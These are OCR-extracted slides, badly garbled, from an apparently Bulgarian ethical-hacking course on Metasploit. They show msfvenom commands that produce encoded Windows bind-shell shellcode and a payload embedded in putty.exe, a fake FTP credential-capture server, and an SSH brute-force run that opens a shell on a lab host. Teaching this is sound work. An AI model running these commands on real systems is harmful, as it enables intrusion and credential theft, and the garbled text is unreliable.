x86/0pt _sub
x86/shikata ga nat
x86/single static bit
x86/unicode mixed
x86/unicode upper

2/28/2016

Rank

good
manual
low
normal
excellent
manual

manual
manual
normal
normal
normal
low
low
manual
excellent
manual
manual
manual

Description

Echo Command Encoder

Generic Shell Variable Substitution Command Encoder
Generic ${IFS} Substitution Command Encoder

Perl Command Encoder

Powershell Base64 Command Encoder

printf(1l) via PHP magic_quotes Utility Command Encoder

stat(2)-based Context Keyed Payload Encoder
time(2)-based Context Keyed Payload Encoder
Single-byte XOR Countdown Encoder
Variable-length Fnstenv/mov Dword XOR Encoder
Jump/Call XOR Additive Feedback Encoder
Non-Alpha Encoder

Non-Upper Encoder

Sub Encoder (optimised)

Polymorphic XOR Additive Feedback Encoder
Single Static Bit

Alpha2 Alphanumeric Unicode Mixedcase Encoder
Alpha2 Alphanumeric Unicode Uppercase Encoder

bvarapcka acoymauma
"‘ 5 3a pa3suTHe Ha 3HAHUATA
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

PopmaTh

root@kali-VB:~# msfvenom --help-formats
Error: Executable formats

asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-
service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app,
psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats

bash, ¢, csharp, dw, dword, hex, java, js be, js le, num, perl,
pl, powershell, psl, py, python, raw, rb, ruby, sh, vbapplication,
vbscript

bvarapcka acoymauma
"‘ 3a pa3suTHe Ha 3HAHUATA
' "m MHbOPMaLMOHHUTE U
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

[Thatdopmu

root@kali-VB:~# msfvenom --help-platforms

Error: Platforms

firefox, aix, mainframe, hpux, irix, unix, php,
javascript, python, nodejs, freebsd, java, netbsd, ruby, bsdt,
linux, openbsd, cisco, bsd, osx, solaris, netware, android,

windows
Heka pa onutamMe pa reHepupame “shellcode” cbC cnepHute

M3INCKBAHNA KBbM HEro:

bvarapcka acoymauma

3a pa3suTHe Ha 3HAHUATA
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

[eHepunpaHe Ha “shellcode”

root@kali-VB:~# msfvenom -a x86 --platform Windows -p windows/shell/bind tcp
-e x86/shikata_ga nai -b '\x00' -i1 5 -f csharp

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata ga nat
x86/shikata ga nal succeeded with size 326 (iteration=0)

x86/shikata ga natl succeeded with size 353 (iteration=1)

x86/shikata ga nal succeeded with size 380 (iteration=2)

x86/shikata ga nal succeeded with size 407 (iteration=3)

x86/shikata ga nal succeeded with size 434 (iteration=4)

x86/shikata ga nail chosen with final size 434

Payload size: 434 bytes

byte[] buf = new byte[434] {
Oxba,0x24,0x6d,0xe5,0xa6,0xdd,0xc2,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xbl,
0x66,0x31,0x50,0x15,0x83,0xe8,0xfc,0x03,0x50,0x11,0xe2,0xd1l,0xd7,0xcl,0x25,
Oxad,0x93,0xd1l,0xe3,0x14,0x97,0xcl,0x07,0xfd,0x73,0xc3,0x59,0x61,0xb5,0x80,

0Ox87,0x47,0x02,0x2b,0xde,0x34,0x97,0x51,0x60,0x45,0xa2,0x8c,0xab,0xee,0xc0,
Ox1f,0x8a,0xc8,0x93,0xfb,0xcf,0xae,0x7d,0xe2,0x24,0xbc,0x35,0x6f,0x07 ®x5c,

0x86,0x4c,0xdd,0x46,0xed,®x81,0x07,0x3f,0xcl,0xd3,0x94,0xf7 0xf2,@x5c },
'~') rb p LL

AUMOHHUN TEXHONOTUK
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BbBeaeHune msfconsole CKaHunpaHe Meterpreter

msfvenom Armitage

Aux moaynu

13n0N13BaHE Ha NPUIOKEHUE MPEHOCUTE

root@kali1-VB:~# msfvenom -a x86 --platform

windows -k -p windows/messagebox TEXT="ETHICAL
HACKING!" -f exe -x putty.exe -0 puttyl.exe

No encoder or badchars specified, outputting
raw payload

Payload size: 272 bytes
Saved as: puttyl.exe

2/28/2016
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

IlemoHcTpauma /

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Armitage

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1
{2

o < KOMYHUKAUUOHHUN TEXHONOTUK

2/28/2016 AneKkcaHgbp LlokeB  www.ict-academy.bg



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Armitage

* Armitage e oTaeneH NPoOeKT, KOUTO e AOCTbMNEH OT CanTa
http://www.fastandeasyhacking.com

 BkatoyeH B Kali Linux.

* OcHOBHaTa Ue/, KoSATo e buia noctaBeHa Npu
pa3paboTKaTa My e aa ce nognomorHe aHanusa ¢ MSF, KaTo
ce nNpeaocTaBn Bb3MOXHOCT 3a rpadmnyHO yrpaBaeHme Ha
Pa3NNYHUTE eTanu, KaKTo U IecHO HabatoaeHmne Ha
XOCTOBETE.
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMOHCTpauUma 8

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

AuUuX MOAYU

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1
{2

o < KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

AuXx moaynu

* CneunanusmpanHmte “aux” moaynm ca U3KNOYNTENHO
Ba)XHM Mo Bpeme Ha ¢$a3aTa Ha aHaA/IM3NPAHE HA UeNeBuTe
CUCTEMMU, A TAXHATA AENHOCT € cBbp3aHa ¢ “fuzz testing”,
cneunPuUyYHmM CKaHUPaHUA, NoACNYLIBAHE Ha TPadUKa U
MHOTO APYrn .

* Bbnpekun, ye Te He moraT A4a OCUTypPAT AOCTbN AN A3
OTBOPAT cecuna, MHPpopmaumnAaTa, Noay4YeHa cnes TAXHOTO
aKTMBMPAHE MOXKe 3HAaYUTENHO Aa NOANOMOrHe TbPCEHETO
Ha NOTEHLMANHU YA3BMMOCTM.
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

AuXx moaynu

 AamuHuctpatneHu (Admin) — BKAtOUBaT moaynm 3a
OTKpMBaAHEe Ha aAMUHUCTPATUBHU NaHenu npu HTTP
CbpPBbPU, N3BANYAHE HA AAaHHU 33 NOTPEOUTENCKM
npodunm Ha Microsoft SQL Server, MySQL n PostgreSQL,
KaKTO M crneyuasHn CKPpUNToBe, CBbP3aHM C ONUT 3a
aKTUBUpPaAHe Ha BUPTYyasHU mawnHu npu VMWare;

* CKeHepu (Scanner) — B Ta3u rpyna nonaaaT MHOKECTBO
CKPUNTOBE, KOUTO UMAT PYHKLMOHANHOCT, CBbP3aHa C
aHa/IM3 N OTKPMBAHE Ha onpeaesieHn ycnyrm (Hanpmmep
aKTUBHU FTP cbpBbpU), TEXHUTE BEPCUN N APYTU
napameTpu;

* CbpBbpHU (Server) — moaynbt “server capture module”
MOKe [1a eMynpa pasanyHa GYHKLMOHANHOCT, C Lien
npuxsallaHe Ha AaHHW 33 NOTPEOUTENN N APYTN. o

a 3HaHUATE
'. "Ja MHPOPMALMOHHUTE U
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

®uKTMBeH FTP cbpBbp

msf > use auxiliary/server/capture/ftp
msf auxiliary(ftp) > show options

Module options (auxiliary/server/capture/ftp):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must be
an address on the local machine or 0.0.0.0

SRVPORT 21 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default

i1s randomly generated)
Auxiliary action:

Name Description

Captu re bvarapcka acoymauma

"‘ 5 3a pa3suTHe Ha 3HAHUATA

'. J) 33 vHpopmaLMoHHNTE U
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

®uKTMBeH FTP cbpBbp

msf > use auxiliary/server/capture/ftp

mst auxiliary(ftp) > set SRVHOST 192.168.1.214
SRVHOST => 192.168.1.214

mst auxiliary(ftp) > run

[*] Auxiliary module execution completed

[*] Listening on 192.168.1.214:21...
[*] Server started.
msf auxiliary(ftp) >

2/28/2016 AneKkcaHgbp LlokeB  www.ict-academy.bg



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMoHCcTpauma S

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

SSH aTaka

root@kali-VB:~# cat /usr/share/metasploit-
framework/data/wordlists/root userpass.txt

alex

alex lalex
alex Ctisco
alex NeXT
alex QNX

alex admin

alex 1ibm
alex monitor
alex turnkey

a-LeX eth ical_hac k-.Lng bvarapcka acoymauma
N - nbopaiivomre n

NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

SSH aTaka

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

BLANK PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB ALL_ CREDS false no Try each user/password couple stored in the current database
DB _ALL PASS false no Add all passwords in the current database to the 1list

DB _ALL USERS false no Add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS FILE no File containing users and passwords separated by space, one pair per line
USER AS PASS false no Try the username as the password for all users

USER FILE no File containing usernames, one per 1line

’ bvarapcka acoymauma
VERBOSE true yes Whether to print output for all attempts '{5");2 3?.;”35&2;‘3&.?“Jl“ﬁ;‘
LS

W KOMYHUKALMOHHW TEXHONOMMU
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

SSH aTaka

msf auxiliary(ssh login) > set RHOSTS 192.168.1.229
RHOSTS => 192.168.1.229

msf auxiliary(ssh login) > set USERPASS FILE /usr/share/metasploit-
framework/data/wordlists/root_userpass.txt

USERPASS FILE => /usr/share/metasplotit-
framework/data/wordlists/root userpass.txt

msf auxiliary(ssh login) > set VERBOSE false
VERBOSE => false
msf auxiliary(ssh login) > run

[*] 192.168.1.229:22 SSH - Starting bruteforce
[[+] 192.168.1.229:22 SSH - Success: 'alex:ethical hacking' 'uid=1®0®(a1exﬂ
g1d=1000(alex)
groups=1000(alex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(1lpadmin),
113(sambashare) Linux nexpose 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri
Jul 24 21:16:20 UTC 2015 x86 64 x86 64 x86 64 GNU/Linux '
[*] Command shell session 1 opened (192.168.1.214:39146 -> 192.168.1.229:22)
at 2016-01-26 16:02:29 +0200
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed 7/ e
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

3aKtoYeHmne

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1

W KOMYHUKALMOHHW TEXHONOMMU
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

3aK/ItoYeHmne

* Metasploit e eauH OT HaN-yHMBEPCATHUTE UHCTPYMEHTH,
CBbpP3aHU C Uuenma etan Ha NpoBepPKa Ha CUTYPHOCTTA Ha
OTAaNe4YeHUn CUCTEMMU.

* ToM HX NO3BOIABA NOCPEACTBOM JieCeH 3a ynotpeba
KoH30neH aoctbn nnn Web rpadpunyeH nHrepdenc aa
CKaHUpPame MPEeXKOBU CEFMEHTU MU YCTPOMUCTBA, A3
aHanmM3npame 3a NOTEHUMANHU NPOMNYCKU B CUTYPHOCTTA U
Na CTapTUpPame aTaKa, KoATO Lenn Aa npeHece onpeaeneH
TOBap.

* I3KNHOYMTE/THO NONYAAPEH N MOLLEH.
* 3a4b/IKUTENEH MHCTPYMEHT 33 ETUYHUTE XaKepPMU.
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BbBegeHue msfconsole CKaHupaHe Meterpreter msfvenom Armitage Aux moaynu

DbJsildpLKa acoumauma

." ' 3a pa3BUTUE Ha 3HAHUATA

'. J) 32 vHGOpMaLMOHHUTE 1
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1

W KOMYHUKALMOHHW TEXHONOMMU
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Bbnpocu ... n Harpaau
Konko Bepcun Ha Metasploit ce nogabp:kat ot Rapid7?

OTtrosop: 4
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Bbnpocu ... n Harpaau
KakK ce Hapu4ya Hau-ocHoBHaTa 6ubanoreka npu MSF?

Otrosop: REX

CREDIT CARD
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Bbnpocu ... n Harpaau

Ypes Koa KoOmaHAa ce MMnopTupaT pesynTaTtuTe OT CKaHUpaHe ¢
Nessus B Metasploit (ako Nessus He e MHCTaZIMpaH I0KaNHOo)?

OTrosop: db_import

BAYYEP 3A OTCTBIMKA
50.00 nB

BayuepbT e BasimaeH 3a Kypc
CCNA R&S 1 Baxum eANHCTBEHO
¥l npu 3anucBaHe 3a obyyeHue 8 BAP3UKT
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Bbnpocu ... n Harpaau

Kak ge Hapu4ya MHCTPYMEHTDT 3a reHepupaHe Ha “shellcode” B
MSF:

OTrosop: msfvenom

BAYYEP 3A OTCTBMKA
100.00 nB

BayuepbT e BaamaeH 3a Kypc
CCNA Security v BaXxxu e JMHCTBEHO
¥1 npu 3anucBaHe 3a obyueHne 8 BAP3UKT

o T P B>
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

b/TATOAAPA 3A BHUMAHWETO

BAP3UKT

& www.ict-academy.bg @ info@ict-academy.bg () ety

KOMYHUKAUUOHHUN TEXHONOTUK
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